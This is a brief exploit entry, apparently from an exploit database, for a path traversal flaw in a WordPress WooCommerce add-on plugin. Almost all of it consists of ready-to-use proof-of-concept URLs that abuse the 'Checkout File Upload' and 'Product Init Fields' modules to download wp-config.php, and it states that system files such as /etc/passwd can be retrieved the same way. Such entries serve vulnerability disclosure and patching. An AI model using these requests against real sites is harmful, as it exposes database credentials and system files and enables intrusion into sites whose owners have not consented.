## https://sploitus.com/exploit?id=WPEX-ID:96EF4BB8-A054-48AE-B29C-B3060ACD01AC
Enable the "Checkout File Upload" module and open the following URL as a shop manager or admin: https://example.com/wp-admin/?wcj_download_checkout_file_admin=../../../../../wp-config.php&post=1&wcj_checkout_file_number=1 (the post and wcj_checkout_file_number parameters are irrelevant)
Enable the "Product Init Fields" module and open the following URL as a shop manager or admin: http://example.com/wp-admin/?wcj_download_file=../../../../../wp-config.php
System files such as /etc/passwd can also be retrieved that way